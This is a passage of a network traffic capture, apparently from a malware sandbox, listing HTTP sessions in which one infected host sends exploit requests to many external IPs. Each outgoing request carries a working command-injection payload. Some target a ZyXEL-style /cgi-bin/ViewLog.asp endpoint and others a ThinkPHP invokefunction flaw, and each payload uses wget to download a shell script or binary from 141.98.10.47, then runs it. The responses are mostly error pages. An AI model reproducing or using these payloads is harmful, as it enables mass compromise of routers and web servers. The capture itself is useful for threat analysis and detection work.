Dec 26, 2023 21:24:18.197223902 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:25.364228964 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:39.442265034 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:08.366180897 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
277	192.168.2.23	51150	88.31.40.20	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:11.915570974 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:13.533416986 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:14.251279116 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Thu, 03 Mar 2022 19:57:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
278	192.168.2.23	45116	94.121.44.191	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:11.958901882 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
279	192.168.2.23	42330	95.209.131.176	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:11.981301069 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
280	192.168.2.23	57268	31.136.179.194	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.494654894 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:13.269917965 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:14.773773909 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:17.941257000 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:24.084419966 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:36.114737988 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:00.175334930 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:49.320417881 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
281	192.168.2.23	35632	62.141.44.92	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.507565022 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:12.760416031 CET	970	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 774 Date: Tue, 26 Dec 2023 20:24:12 GMT Keep-Alive: timeout=20 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 4d 65 73 73 61 67 65 3c 2f 62 3e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 5b 26 23 34 37 3b 63 67 69 2d 62 69 6e 26 23 34 37 3b 56 69 65 77 4c 6f 67 2e 61 73 70 5d 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 38 36 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/cgi-bin/ViewLog.asp] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.86</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
282	192.168.2.23	34762	31.200.121.161	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.523199081 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
283	192.168.2.23	51172	94.123.117.53	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.548886061 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
284	192.168.2.23	57054	95.86.122.3	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.560321093 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
285	192.168.2.23	36574	88.149.219.186	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.656075001 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
286	192.168.2.23	46352	88.131.28.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.930675983 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:24:13.197720051 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:24:13 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
287	192.168.2.23	52080	88.255.66.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:12.948385000 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
288	192.168.2.23	58316	94.236.167.85	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:13.066463947 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
289	192.168.2.23	35492	85.113.61.45	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:13.974570036 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
290	192.168.2.23	51170	88.31.40.20	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:14.111434937 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Thu, 03 Mar 2022 19:57:47 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
291	192.168.2.23	35556	85.113.61.45	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.351509094 CET	380	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Server: httpd Date: Wed, 27 Dec 2023 00:24:15 GMT Connection: close Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
292	192.168.2.23	49760	95.241.63.172	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:24:15.584239960 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
